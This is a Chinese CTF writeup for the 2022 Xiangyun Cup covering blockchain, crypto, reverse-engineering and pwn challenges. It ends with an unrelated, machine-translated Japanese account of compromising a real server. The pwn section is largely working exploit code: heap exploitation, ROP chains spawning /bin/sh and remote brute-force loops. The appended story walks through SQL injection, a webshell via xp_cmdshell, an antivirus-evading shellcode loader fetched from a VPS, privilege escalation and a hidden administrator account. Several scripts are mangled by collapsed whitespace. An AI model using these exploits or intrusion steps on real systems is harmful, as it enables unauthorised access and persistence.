最开始思路寻思上geth连一下看看,geth attach ip可以链上,并且使用eth.getBlock能获取其他人的交易记录,所以一直等着上车捏

图片[19]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

然后发现有队伍一血了,最速使用eth.BlockNumber查看到最新区块到了190,

图片[20]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

索性从181一直查到了190(之前区块一直在查,要么是部署,要么是转账和创建账户)直到190块发现了poc,对应一下时间刚好是一血的时间,直接复制input内容

{
  blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5",
  blockNumber: 190,
  from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae",
  gas: 3000000,
  gasPrice: 10000000000,
  hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f",
  input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000",
  nonce: 0,
  r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624",
  s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589",
  to: "0xf8af169b2ccde9271fdd004608c624037d58957f",
  transactionIndex: 0,
  type: "0x0",
  v: "0x4593",
  value: 0

合约随便部署个fallback() external{}

就行了然后直接to address部署题目合约,直接transact即可

图片[21]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

复制交易txhash值,最后提交

图片[22]-2022祥云杯ALLMISC Writeup-魔法少女雪殇



0X03 Crypto

1.little little fermat

遇事不决去百度代码,发现相似代码

根据 writeup 即可求出 p 和 q

题目提示是小费马,百度即可得到费马小定理

费马小定理

根据费马小定理我们可以从 :

assert 114514 ** x % p == 1

推出:

x = p - 1

然后正常解RSA即可:

from Crypto.Util.number import * 
from random import * 
from libnum import * 
import gmpy2 
from itertools import combinations, chain 

e = 65537 
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 
tp = [gmpy2.mpz(1 << i) for i in range(512)] 
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) 
for cf in it: 
   A = -sum([tp[i] for i in cf]) 
   D = A**2 + 4 * n 
   if gmpy2.is_square(D): 
       d = gmpy2.isqrt(D) 
       p = (-A + d) // 2 
       q = n // p 
       break 
x=p-1 
d = pow(e, -1, (p - 1) * (q - 1)) 
m=pow(c, d, n) 
print(pow(c, d, n)) 
print(long_to_bytes(m^(x**2)))

2.common_rsa

利用在线分解直接出p,q。

3z2ajt5qr0q15382.png

然后常规 RSA 解密即可:

import libnum
from Crypto.Util.number import long_to_bytes
 
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

(不理解这道题为什么没多少人做, 当时做的时候看到 e 很大想到了维纳攻击,但没想到网上可以直接查到 n 的分解,也就没有进一步分解代码直接解了)

(有点感觉非预期?)


3.tracing

(这道题秋风提供了核心求解 phi 的思路,然后我就直接把剩下的 RSA 解密一把梭了)

这道题的 pq 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 gcd 函数的操作过程可以直接倒推出 phi

import libnum
from Crypto.Util.number import long_to_bytes

n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537

tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()

for i in arr[::-1]:
    if "a = a - b" in i:
        tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
    if "a, b = b, a" in i:
        tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
    if "a = rshift1(a)"in i:
        tag1 = tag1 << 1
#print(tag1)
#print(tag2)
    if "b = rshift1(b)" in i:
        tag2 = tag2 << 1
#print(tag1)
#print(tag2)

phi = tag1
#print(phi)

d = libnum.invmod(e, phi) 
m = pow(c, d, n)
print(long_to_bytes(m))

4.fill

利用lcg的三组连续输出求出参数m和c,从而得到整个序列s,反求出序列M;然后就是一个背包的破解,lll算法求最短向量即可,构造方式参考:https://www.ruanx.net/lattice-2/,exp:M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]S = 492226042629702n = len(M)L = matrix.zero(n + 1)
for row, x in enumerate(M):    L[row, row] = 2    L[row, -1] = x
L[-1, :] = 1L[-1, -1] = Sres = L.LLL()print(res)# pythonfrom Crypto.Util.number import *from hashlib import *nbits = 32M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]s0,s1,s2 = 562734112,859151551,741682801n = 991125622m = (s2-s1)*inverse(s1-s0,n)%nc = (s1-s0*m)%ns = [0] * nbitss[0] = s0for i in range(1, nbits):    s[i] = (s[i-1]*m+c)%nprint(s)for t in range(nbits):    M[t] = M[t] - s[t]print(M)# 注意是反向量short = '00101000011000010001000010011011'short2 = ''for i in short:    if i == '0':        short2 = short2 + '1'    else:        short2 = short2 +'0'print(short2)print(len(short2))num = int(short2,2)print(sha256(str(num).encode()).hexdigest())

5.babyDLP

CryptoCTF2022的原题side step,参考春哥的解法:https://zhuanlan.zhihu.com/p/546270351,exp需要修改两个地方,1是if (‘Great!’ in a):需要加上b,其次是a = a[9:]改为a = a[8:] 。然后直接打即可:from pwn import *from sage.all import *from Crypto.Util.number import *

class Gao:    def __init__(self):        self.con = remote('101.201.71.136', 16265)        self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1        self.s_high = 1        self.Zp = Zmod(self.p)        def gao_check(self):        self.con.sendline('T')        ans = self.Zp(4).nth_root(self.s_high)        print('Guessing: {}'.format(ans))        self.con.sendline(str(ans))        self.con.recvuntil('integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            return False
    def gao_one(self):        self.con.sendline(b'T')        ans = self.Zp(2).nth_root(self.s_high)        self.con.sendline(str(ans))        self.con.recvuntil(b'integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            a = a[8:]        t, r = eval(a)        self.s_high <<= 1        if (t == 0):            self.s_high |= 1        self.t = 1 - t        #print('{:b}'.format(self.s_high))        return False

    def gao(self):        while (True):            if (self.gao_one()):                break            if (self.t == 1):                if (self.gao_check()):                    break        def gao_2(self):        for i in range(1023):            if (self.gao_one()):                break        else:            for i in range(20):                self.gao_check()                self.s_high >>= 1
if __name__ == '__main__':    g = Gao()    g.gao_2()目录WebFunWEBezjavaRustwafpwnojsprotocolqueueunexploitablesandboxheapbitheapleakMiscstrange_forensicsRevroketcryptolittle little fermattracingfillbabyDLP

0x04 RE

1.engtom

下载下来,一看,. snapshot ???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数, charCodeAt ,判断是js

js有好多实现,要找找是哪种

结合开头 JRRYF 和题目名字里的 tom ,让我想起了猫和老鼠.

这时候看到一个项目,名字叫 jerryscript ,背底是奶酪.

又看到里面源码有解析. snapshot 文件,基本确定了就是他了

配置好环境后,看 help (英语阅读题),看到可以输出 opcode .

输出之,发现 sm4 的常量以及函数名,所以断定是 sm4 .

解密得到结果,用 ctf{}包上就提交了.脚本如下图:

w1ord4aocmt15385.png

附:

##############################################################################
#                                                                            #
#                            国产SM4加密算法                                  #
#                                                                            #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
    ddd=[]
    for i in range(len(a)):
        s=a[i]
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
    return bytes(ddd)

class SM4:
    """
    国产加密 sm4加解密
    """

    def __init__(self):
        self.crypt_sm4 = sm4.CryptSM4()  # 实例化

    def decryptSM4(self, decrypt_key, encrypt_value):
        """
        国密sm4解密
        :param decrypt_key:sm4加密key
        :param encrypt_value: 待解密的十六进制值
        :return: 原字符串
        """
        crypt_sm4 = self.crypt_sm4
        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥
        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型
        return decrypt_value
        # return self.str_to_hexStr(decrypt_value.hex())

if __name__ == '__main__':
    key = getarr([19088743,2309737967,4275878552,1985229328])
    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
    strData=bytes(strData)
    SM4 = SM4()
    decData = SM4.decryptSM4(key, strData)
    print("sm4解密结果:", decData)  # 解密后的数据


2.roket

测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出
from Crypto.Util.number import long_to_bytesimport gmpy2print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3))#6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7da='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d'for i in range(0,len(a),2):    print('0x'+a[i]+a[i+1],end=',')print('flag:')#0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7db=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d]for i in range(len(b)):    print(chr(b[i]),end='')

0x04 PWN

1.bitheap

解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。

from pwn import *
sh=process('./sandboxheap')
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
    sh.sendlineafter(ch,str(1))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Size,str(size))
def edit(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,con)
def show(idx):
    sh.sendlineafter(ch,str(3))
    sh.sendlineafter(Idx,str(idx))
def delete(idx):
    sh.sendlineafter(ch,str(4))
    sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])

for i in range(0x8):
    add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
    delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
    add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
    delete(i)
for i in range(0x7):
    add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()

2.unexploitable

第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求

from pwntools import *


init("./unexploitable")

def pwn():
    s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
    # dbg()
    # time.sleep(5)
    s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
    sl("ls")
    tmp = pwnio.io.recv(1,timeout=1)
    print(tmp)
    if not tmp or tmp==b'*':
        raise
    ia()
    
hack(pwn,cls=False)
# pwn()

脸黑,和队友开了两个靶机爆破了两天...队友脸白,穿了

13197d42-13fd-489d-a5e3-c06cb38f99e9


3.ojs

查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead

比对源码可知,新增了方法charTo

mi3vynftvbb15395.png

逆一下,str.charTo(offset, val)代表将字符串str偏移offset(可正可负)处改为val

可越界写的条件是字符串str的长度为3,且当val = 17的时候,会返回存放str自身的堆块地址(结合动态调试)。

hy13dj1a3f015399.png

由于本题没开PIE保护,且got表可写:

5zikldz2xz515402.png

所以其实任意写的思路很显然:先泄露出str自身堆块地址,然后就能用其与某got表地址的差值通过charTo任意写got表了。

泄露libc的思路也不难想到,可以将初始长度为3str后面的\x00不断覆盖掉,这样就能泄露后面内存中的libc地址了,这里其实也可以泄露出堆块地址。

不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下,得到是60*8的偏移处,然后得到了libc地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printfgot表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。

此外,这里应该也可以通过改某个got表为puts@plt,然后输入某个got的地址来泄露libc,或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址,然后比如再改setvbufgot表为puts@plt,最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。

最后,选用如下one_gadget即可:

py14ixpdqde15406.png

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")

io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')

io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))

io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))

dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
	io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')

io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()

yzkhu4wy2wx15410.png


4.protool

Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm

发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin

username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"

因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00

最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了

from pwntools import *
from ctf_pb2 import *

init("./protocol")

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360



'''
b *0x407743
payload = flat([
    pop_rdi_ret,"/bin/sh\x00",
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall
])
'''

def write(payload):
    p = pwn()
    p.username = b"admin"
    p.password = payload
    sd = p.SerializeToString()
    sa("Login:", sd)
    time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    # syscall = 0x0000000000403C99

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*8-i)) 
write(b"b"*0x248 + b"b"*8*7 + p8(59))                        # 59

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*7-i)) 
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    # pop_rax_ret = 0x00000000005bdb8a

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*6-i)) 
write(b"b"*0x248 + b"b"*8*5)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*5-i)) 
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  # pop_rsi_ret = 0x0000000000588BBE

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*4-i)) 
write(b"b"*0x248 + b"b"*8*3)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*3-i)) 
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  # pop_rdx_ret = 0x000000000040454F

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*2-i)) 
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  # binsh = 0x81a36f

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*1-i)) 
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   # pop_rdi_ret = 0x0000000000404982

p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
# dbg()
# time.sleep(5)
sa("Login:", sd + b"\x00" + b"/bin/sh\x00")



ia()

01fcd7e2-39fa-4c23-8e7d-0c609c4b1139



5.queue

队列结构体

struct elem

{

  _QWORD buf_array_ptr;

  _QWORD sub_buf_max;

  _QWORD pBuffStart;

  _QWORD a3;

  _QWORD pBuffLast;

  char **sub_bufs;

  _QWORD pBuffEnd;

  _QWORD a7;

  _QWORD a8;

  _QWORD sub_buf_last;

};

666功能可以直接修改结构体

伪造结构体再通过其他功能可以实现任意地址读写

首先需要泄露一个地址

覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方

泄露堆地址

然后申请几个再free填tcache, 在堆上制造libc地址

构造结构体pBuffStart指向含libc地址处

泄露libc地址

然后伪造结构体在__free_hook处

用程序edit单字节循环写入

exp:

from pwn import *

from colorama import Fore

from colorama import Style

import inspect

from argparse import ArgumentParser

parser = ArgumentParser()

parser.add_argument("--elf", default="./queue")

parser.add_argument("--libc", default="./libc-2.27.so")

parser.add_argument("--arch", default="amd64")

parser.add_argument("--remote")

args = parser.parse_args()

 

context(arch=args.arch,log_level='debug')

 

def retrieve_name(var):

    callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items()

    return [var_name for var_name, var_val in callers_local_vars if var_val is var]

def logvar(var):

    log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}')

    return

script = ''

def rbt_bpt(offset):

    global script

    script += f'b * $rebase({offset:#x})\n'

def bpt(addr):

    global script

    script += f'b * {addr:#x}\n'

def dbg():

    gdb.attach(sh,script)

    pause()

 

prompt = b'Queue Management: '

def cmd(choice):

    sh.sendlineafter(prompt,str(choice).encode())

 

def add(size):

    cmd(1)

    sh.sendlineafter(b'Size: ',str(size).encode())

    return

def edit(buf_id,idx,val):

    cmd(2)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Value idx: ',str(idx).encode())

    sh.sendlineafter(b'Value: ',str(val).encode())

    return

def show(buf_id,num):

    cmd(3)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Num: ',str(num).encode())

    return

def dele():

    cmd(4)

    return

def backdoor(buf_id,ctt):

    cmd(666)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendafter(b'Content: ',ctt)

    return

 

def edit_qword(buf_id,off,val):

    for i in range(8):

        byte = val & 0xff

        edit(buf_id,off+i,byte)

        val >>= 8

 

rbt_bpt(0x1688)

rbt_bpt(0x16b5) 

 

def leak_num():

    val = 0

    sh.recvuntil(b'Content: ')

    for i in range(8):

        num = int(sh.recvline().strip(),16)

        val |= num << (8*i)

    return val

 

def pwn():

    add(0x100)

    backdoor(0,p64(0)*2 + b'\x88\x5e')

    show(0,0x8)

    heap_addr = leak_num()

    if heap_addr == 0:

        raise EOFError

    for i in range(5):

        add(0x100)

    for i in range(4):

        dele()

    backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2)

    show(0,0x8)

    libc_base = leak_num() - 0x3ebca0

    logvar(heap_addr)

    logvar(libc_base)

 

    edit_qword(1,0,u64(b'/bin/sh\x00'))

    libc = ELF(args.libc,checksec=False)

    libc.address = libc_base

    payload = flat([

        0,

        0,

        libc.sym['__free_hook'],

        libc.sym['__free_hook'],

        libc.sym['__free_hook']+0x200,

        heap_addr,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        heap_addr+8

    ])

    backdoor(0,payload)

    edit_qword(0,0,libc.sym['system'])

    # dbg()

    dele()

 

    

while True:

    try:

        # sh = process([args.elf])

        sh = remote('39.106.13.71' ,'31586')

        pwn()

        sh.interactive()

    except EOFError:

        sh.close()




6.leak

flag被读到了一个堆块上,限制了申请堆块的个数,只能十六个,没有限制uaf的使用次数,可以改大Global_Max_Fast,造成fastbinY数组溢出,我们可以向write_base和write_ptr上写入堆地址,满足条件:write_ptr>write_base即可,利用公式size=((target_addr-(main_arena+8)/8)0x10+0x20),就可以算出需要的size,最后exit,打印出flag即可。from pwn import io = process("./leak")elf = ELF("./leak")libc = ELF("./libc-2.27.so")
context.arch = "amd64"context.log_level = "debug"
def add(idx,size):    io.sendlineafter("Your choice: ", "1")    io.sendlineafter("Index: ", str(idx))    io.sendlineafter("Size: ", str(size))
def edit(idx, content):    io.sendlineafter("Your choice: ", "2")    io.sendlineafter("Index: ", str(idx))    io.sendafter("Content: ", content)
def delete(idx):    io.sendlineafter("Your choice: ", "3")    io.sendlineafter("Index: ", str(idx))
add(0, 0x14b0)add(1, 0x14c0)add(2, 0x430)add(3, 0x90)add(4, 0x90)add(5, 0x90)add(9, 0xa0)add(10, 0xa0)
delete(5)delete(4)delete(3)
edit(3, p16(0x9c30))  # tcache fd -> unsorted bin chunkdelete(2)edit(2, p16(0xf940))  # fd -> global_max_fast
add(6, 0x90)add(7, 0x90)
add(8, 0x90)edit(8, p64(0xdeadbee0))  # global_max_fast -> 0xdeadbeef
delete(0)
edit(2, p16(0xe840))  # tcache fd -> unsorted chunk
delete(10)delete(9)
edit(9, p16(0x9c30))  # fd-> stderr
add(11, 0xa0)add(12, 0xa0)
add(13, 0xa0)  # stderradd(14,0xa0)# change stderr
edit(14, p64(0xfbad1887) + p64(0) * 3 + p8(0x50))#io.interactive()
#add(14, 0x14d0)#add(15, 0x500)delete(1)
io.sendlineafter("Your choice: ", "6")io.interactive()
:hexoPostRenderEscape–>



祥云杯附件下载:链接:https://pan.baidu.com/s/1W2euTjOK_qOMZLh8lTJf2w   提取码:7zp2
参考连接地址: https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#ezjava
http://www.snowywar.top/?p=4077
https://www.cnblogs.com/S1gMa/p/16846438.htm

https://mp.weixin.qq.com/s/j7wjaV-sIo-3VjTz0xOCRQhttps://www.cnblogs.com/winmt/articles/16842913.htmlhttps://www.woodwhale.top/archives/2022xiangyunhttps://su-team.cn/passages/2022-xyb-SU-Writeup/





来自为知笔记(Wiz)

脆弱性のあるQPバックグラウンドフレームワークのある背景を見つけました

图片

このフレームワークには、ユーザートラバーサルなど、多くの抜け穴があります。既存のユーザーを入力した場合、パスワードが正しくない場合、パスワードが正しくない場合にユーザーまたはパスワードにプロンプトが表示されます。存在しないユーザーを入力すると、ユーザーが存在しないように促します。

さらに、WebサイトにはSQLインジェクションの脆弱性があります。アカウントのパスワードを送信するために、投稿パッケージをつかむだけです。

图片

TXTドキュメントを貼り付けて、sqlmapに投げます。

图片

それはMSSQLです、XP_CMDSHELLを有効にすることができます。ここではWebShellに書き込む予定です。

图片

次に、XP_CMDSHELLを使用してWebShellに書き込みます

图片が正常に起動されました

それから私は次の操作のためにCSにオンラインに行くことを計画し、ウェブ配信を試みましたが、キラーによって停止されました

图片

それは非常に迷惑です、私は殺すことなくオンラインにしようとする方法はありません。ここで使用する方法は、殺すことなく分離することです。

图片

ペイロードを生成し、シェルローダーを書き、Base64でコンパイルします。

シェルコードをVPSに置きます

图片

シェルローダーをターゲットにアップロードします

图片

1、2、3はオンラインです!

图片

そうです、低電力のユーザーは何度もパワーをエスカレートしようとすることに成功しませんでしたが、最終的にはSweetpotatoが勝ちました

图片

私のお気に入りのシステムを入手してください

ユーザーを追加します

ネットユーザー管理者$ admin @123 /追加して管理者グループに追加

ネットLocalGroup管理者は、直接3389接続をテスト /追加します

图片

私はもともと、FSCANでリモートデスクトップをスキャンする予定でしたが、イントラネットのIPは通常とは異なることがわかりました。スキャン後、私は多くのホストが登場したことがわかったので、これはVPSであると判断したので、それがなるまで侵入しました。

元のリンクから転載:https://mp.weixin.qq.com/s/ch3zciluppz8tjcjttwarq

0x00 前言

